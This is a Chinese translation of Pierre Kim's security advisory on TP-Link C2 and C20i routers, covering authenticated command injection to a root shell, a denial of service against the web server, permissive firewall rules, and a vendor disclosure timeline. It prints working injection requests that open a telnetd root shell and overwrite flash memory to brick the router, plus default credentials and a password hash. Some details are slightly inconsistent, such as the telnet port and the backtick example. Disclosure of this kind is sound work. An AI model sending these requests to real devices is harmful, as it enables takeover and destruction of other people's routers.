TP-Link的C2和C20i型号易受命令注入(经过验证的root权限的RCE),DoS,不正确的防火墙规则的攻击。
产品描述
TP-Link是中国的计算机网络产品制造商,生产诸如路由器和IOT设备。
漏洞摘要
直到TP-Link C2和C20i的最新固件版本为止(0.9.1 4.2 v0032.0 Build 160706 Rel.37961n),HTTP管理接口中都存在命令注入,经过身份验证的攻击者可获取具有root权限的远程shell。
攻击者可以通过Dos来攻击HTTP服务器,而且默认情况下,WAN接口上的防火墙规则过于宽松。
详述 - 具有单个HTTP请求的RCE
使用所谓的“Diagnostic”页面,攻击者可以在使用ping工具的远程主机上运行包括telnetd在内的任何命令:
$(echo 127.0.0.1; /usr/sbin/telnetd -l bin/sh -p 25)
在验证时(参考base64格式的credentials),直接发送这个HTTP请求就可以启动路由器25 / tcp端口上的telnetd服务,而不需要许可:
POST /cgi?2 HTTP/1.1
Host: 192.168.1.1
Content-Type: text/plain
Referer: http://192.168.1.1/mainFrame.htm
Content-Length: 208
Cookie: Authorization=Basic YWRtaW46YWRtaW4=
Connection: close
[IPPING_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,6
dataBlockSize=64
timeout=1
numberOfRepetitions=1
host=$(echo 127.0.0.1; /usr/sbin/telnetd -l bin/sh -p 25)
X_TP_ConnName=ewan_ipoe_d
diagnosticsState=Requested
攻击者也可以使用backsticks来执行命令:
echo 127.0.0.1; /usr/sbin/telnetd -l bin/sh -p 25
结果:
user@kali:~/tplink-0day-c2-and-c20i$ telnet 192.168.1.1 2
Trying 192.168.1.1...
Connected to 192.168.1.1.
Escape character is '^]'.
~ # ls
web usr sbin mnt lib dev
var sys proc linuxrc etc bin
~ # cat /proc/version
Linux version 2.6.36 (root@localhost.localdomain) (gcc version 4.6.3 (Buildroot 2012.11.1) ) #1 Wed Jul 6 10:01:06 HKT 2016
~ # ls -la
drwxr-xr-x 9 176 web
drwxr-xr-x 13 0 var
drwxr-xr-x 4 38 usr
drwxr-xr-x 11 0 sys
drwxr-xr-x 2 193 sbin
dr-xr-xr-x 83 0 proc
drwxr-xr-x 2 3 mnt
lrwxrwxrwx 1 11 linuxrc -> bin/busybox
drwxr-xr-x 3 786 lib
drwxr-xr-x 5 776 etc
drwxr-xr-x 5 1274 dev
drwxr-xr-x 2 280 bin
drwxr-xr-x 13 177 ..
drwxr-xr-x 13 177 .
~ # cd etc
/etc # ls
vsftpd_passwd init.d SingleSKU_5G_RU.dat
vsftpd.conf group SingleSKU_5G_NZ.dat
ushare.conf fstab SingleSKU_5G_MY.dat
services default_config.xml SingleSKU_5G_KR.dat
samba TZ SingleSKU_5G_FCC.dat
resolv.conf SingleSKU_RU.dat SingleSKU_5G_CE.dat
reduced_data_model.xml SingleSKU_NZ.dat SingleSKU_5G_CA.dat
ppp SingleSKU_MY.dat RT2860AP5G.dat
passwd.bak SingleSKU_KR.dat RT2860AP.dat
passwd SingleSKU_FCC.dat MT7620_AP_2T2R-4L_V15.BIN
iptables-stop SingleSKU_CE.dat MT7610E-V10-FEM-1ANT.bin
inittab SingleSKU_5G_VN.dat
/etc # cd ..
~ # ls -la
drwxr-xr-x 9 176 web
drwxr-xr-x 13 0 var
drwxr-xr-x 4 38 usr
drwxr-xr-x 11 0 sys
drwxr-xr-x 2 193 sbin
dr-xr-xr-x 83 0 proc
drwxr-xr-x 2 3 mnt
lrwxrwxrwx 1 11 linuxrc -> bin/busybox
drwxr-xr-x 3 786 lib
drwxr-xr-x 5 776 etc
drwxr-xr-x 5 1274 dev
drwxr-xr-x 2 280 bin
drwxr-xr-x 13 177 ..
drwxr-xr-x 13 177 .
~ # ps
PID USER VSZ STAT COMMAND
1 admin 1060 S init
2 admin 0 SW [kthreadd]
3 admin 0 SW [ksoftirqd/0]
4 admin 0 SW [kworker/0:0]
5 admin 0 SW [kworker/u:0]
6 admin 0 SW< [khelper]
7 admin 0 SW [kworker/u:1]
44 admin 0 SW [sync_supers]
46 admin 0 SW [bdi-default]
48 admin 0 SW< [kblockd]
80 admin 0 SW [kswapd0]
82 admin 0 SW< [crypto]
130 admin 0 SW [mtdblock0]
135 admin 0 SW [mtdblock1]
140 admin 0 SW [mtdblock2]
145 admin 0 SW [mtdblock3]
150 admin 0 SW [mtdblock4]
155 admin 0 SW [mtdblock5]
160 admin 0 SW [mtdblock6]
172 admin 0 SW [kworker/0:1]
214 admin 0 SW [khubd]
245 admin 1060 S telnetd
251 admin 2932 S cos
252 admin 1060 S init
255 admin 2120 S igmpd
258 admin 2144 S mldProxy
345 admin 2932 S cos
346 admin 2932 S cos
347 admin 2932 S cos
366 admin 2088 S ntpc
371 admin 2096 S dyndns /var/tmp/dconf/dyndns.conf
374 admin 2096 S noipdns /var/tmp/dconf/noipdns.conf
377 admin 2096 S cmxdns /var/tmp/dconf/cmxdns.conf
433 admin 0 SW [RtmpCmdQTask]
434 admin 0 SW [RtmpWscTask]
445 admin 1244 S wlNetlinkTool
449 admin 1080 S wscd -i ra0 -m 1 -w /var/tmp/wsc_upnp/
465 admin 1244 S wlNetlinkTool
466 admin 1244 S wlNetlinkTool
489 admin 0 SW [RtmpCmdQTask]
490 admin 0 SW [RtmpWscTask]
503 admin 1064 S wscd_5G -i rai0 -m 1 -w /var/tmp/wsc_upnp_5G/
506 admin 2668 S httpd
518 admin 1748 S upnpd -L br0 -W eth0.2 -en 0 -P eth0.2 -nat 0 -port
521 admin 2084 S dnsProxy
526 admin 1068 S dhcpd /var/tmp/dconf/udhcpd.conf
551 admin 1748 S upnpd -L br0 -W eth0.2 -en 0 -P eth0.2 -nat 0 -port
552 admin 1748 S upnpd -L br0 -W eth0.2 -en 0 -P eth0.2 -nat 0 -port
553 admin 1748 S upnpd -L br0 -W eth0.2 -en 0 -P eth0.2 -nat 0 -port
554 admin 1748 S upnpd -L br0 -W eth0.2 -en 0 -P eth0.2 -nat 0 -port
555 admin 1748 S upnpd -L br0 -W eth0.2 -en 0 -P eth0.2 -nat 0 -port
556 admin 1748 S upnpd -L br0 -W eth0.2 -en 0 -P eth0.2 -nat 0 -port
557 admin 1748 S upnpd -L br0 -W eth0.2 -en 0 -P eth0.2 -nat 0 -port
558 admin 2668 S tmpd
561 admin 2556 S tdpd
569 admin 988 S dhcpc
578 admin 1036 S zebra -d -f /var/tmp/dconf/zebra.conf
594 admin 2088 S diagTool
625 admin 1136 S dropbear -p 22 -r /var/tmp/dropbear/dropbear_rsa_hos
642 admin 2468 S ushare
658 admin 2468 S ushare
660 admin 2468 S ushare
661 admin 2468 S ushare
662 admin 2468 S ushare
663 admin 2468 S ushare
664 admin 2468 S ushare
666 admin 2468 S ushare
851 admin 1060 S /usr/sbin/telnetd -l /bin/sh -p 25
853 admin 1072 S /bin/sh
876 admin 1068 S /bin/sh
878 admin 2576 S cli
887 admin 1060 R ps
~ #
用这个RCE,攻击者就可以编辑 /dev/mtd3 来转存、修改配置。 配置是XML格式,位于MTD(64K)的起始位置(从偏移0x10开始)。
如果攻击者在u-boot分区的头部随机写字符,发送这个字符串,会使路由器无法完成引导,被阻塞掉:
POST /cgi?2 HTTP/1.1
Host: 192.168.1.1
Content-Type: text/plain
Referer: http://192.168.1.1/mainFrame.htm
Content-Length: 208
Cookie: Authorization=Basic YWRtaW46YWRtaW4=
Connection: close
>[IPPING_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,6
dataBlockSize=64
timeout=1
numberOfRepetitions=1
host=$(echo 127.0.0.1; cat /dev/random > /dev/mtd0)
X_TP_ConnName=ewan_ipoe_d
diagnosticsState=Requested
详述 - DoSing HTTP服务器
在验证(请参阅base64格式的凭据)时,直接发送此HTTP请求将导致远程HTTP服务器崩溃:
GET /cgi/ansi HTTP/1.1
Host: 192.168.1.1
Content-Type: text/plain
Referer: http://192.168.1.1/mainFrame.htm
Content-Length: 208
Cookie: Authorization=Basic YWRtaW46YWRtaW4=
Connection: close
生成的核心文件被写入受攻击路由器的`/var`分区中
/var # ls -la /var/
drwxrwxrwx 2 0 lock
drwxrwxrwx 2 0 log
drwxrwxrwx 2 0 run
drwxrwxrwx 7 0 tmp
drwxr-xr-x 3 0 Wireless
drwxrwxrwx 2 0 usbdisk
drwxrwxrwx 2 0 dev
drwxr-xr-x 5 0 samba
-rw-r--r-- 1 132 passwd
drwxrwxrwx 2 0 3G
drwxrwxrwx 2 0 l2tp
rwxrwxrwx 7 0 vsftp
-rw------- 1 348160 core-httpd-506-11-1482798208
drwxr-xr-x 13 177 ..
drwxr-xr-x 13 0 .
/var #
详述 - Iptables的许可规则
通过在/var/tmp/dconf/rc.router中编写命令并在此文件上使用system(),可以在/lib/libcmm.so中生成缺省iptables规则。
/var/tmp/dconf/rc.router:
\#!/bin/sh
[...]
iptables -t nat -A POSTROUTING -j NATLOOPBACK_UPNP_SECCONN
iptables -t nat -A POSTROUTING -j POSTROUTING_NATLOOPBACK_DMZ
iptables -t nat -A PREROUTING -j PREROUTING_DMZ
iptables -t filter -A FORWARD -i br+ -j ACCEPT
iptables -t filter -A FORWARD -d 224.0.0.0/4 -j ACCEPT
[...]
默认情况下,每个接口上的SNMP端口都是打开的:
iptables -A INPUT -p udp --dport 161 -j ACCEPT
可以使用iptables在路由器上验证:
/proc # iptables -nL
Chain INPUT (policy DROP)
[...]
ACCEPT udp -- 0.0.0.0/0 0.0.0.0/0 udp dpt:161
[...]
你也可以查看/var/tmp/dconf/rc.router来检测。
庆幸的是,尽管SNMP配置可以通过隐藏的main/snmp.html网页来修改,但有迹象显示,snmpd已经从防火墙的镜像中移除了。
详述 - 杂谈
这些二进制文件(/usr/bin/cos, /usr/bin/tmpd, /lib/libcmm.so)都是设计的很糟糕的程序,大量的system()函数都是以root权限运行。
/usr/bin/cos 是一个在 /etc/init.d/rcS (cos &)结尾运行的拥有root权限的守护进程: 它使用系统函数启动所有的守护进程 (httpd ntpc dnsProxy dhcpd dhcpc snmpd upnpd diagTool voip_server voip_client pjsua cwmp wlNetlinkTool pppd dyndns igmpd zebra ushare smbd vsftpd telnetd, noipdns hostapd ipsecVpn radvd mldProxy racoon wscd...)
/usr/bin/tmpd是一个root权限的守护进程,它监听了 127.0.0.1:20002端口.
/lib/libcmm.so是包含所有主系统函数的二进制文件 ,比如(system reinitialisation [admin:$1$$iC.dUsGpxNNJGeOm1dFio/:0:0:root:/:/bin/sh], wifi configuration, debugging with TFTP[hi dutserver!], VPN configuration, ifconfig interfaces, insmod /lib/modules/pptp.ko, ...)
`Vsftpd` 的部分默认密码是弱口令:
user@kali:~$ cat ./etc/vsftpd_passwd
admin:1234:1:1;guest:guest:0:0;test:test:1:1;$
user@kali:~$
可获取到
admin:1234
guest:guest
test:test
厂商反馈
T-P-Link 计划在2017年2月发布一个新的固件,来给罗列的这些漏洞打上补丁,T-P-Link强调,想利用两个以上的安全漏洞,攻击者必须有合法的授权。
报告时间线
2016年9月17日: Pierre Kim发现了漏洞.
2016年12月26日: livechat联系了TP-Link的支持部门. TP-Link回复称 TP-Link的路由器不存在安全问题需要处理,并拒绝明示这些安全问题.
2016年12月27日: 这些漏洞被报告给了TP-Link的技术支持 (using support () tp-link.com, security () tp-link.com, lishaozhang () tp-link.net [来自于 /lib/modules/ipt_STAT.ko], huangwenzhong@tp-link.net [来自于/lib/modules/tp_domain.ko]).
2016年12月29日: Pierre给TP-Link的安全团队寄去了一份完整的建议书.
2016年12月30日: TP-Link确认接收了建议书.
2017年1月3日: Pierre要求TP-Link承认这些漏洞.
2017年1月9日: TP-Link 承认了在 TP-Link C2 和 C20i 路由器上存在安全漏洞,并且正在进行安全修复.
2017年1月21日: TP-Link回应了”厂商反馈”部分.
2017年1月23日: Pierre回复, 寻求"厂商反馈"部分的更多细节.
2017年1月24日: TP-Link的韩国方面和Pierre Kim交流了这些漏洞.
2017年1月27日: Pierre向TP-Link发送了最终的草案.
2017年2月9日: 一份公开的建议书发给了安全邮件列表.
鸣谢
这些漏洞是Pierre Kim发现的 (@PierreKimSec).
链接
https://pierrekim.github.io/advisories/2017-tplink-0x00.txt
https://pierrekim.github.io/blog/2017-02-09-tplink-c2-and-c20i-vulnerable.html
免责声明
这个建议书具有一个Creative Commons Attribution Non-Commercial Share-Alike 3.0 License的许可证: http://creativecommons.org/licenses/by-nc-sa/3.0/
[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法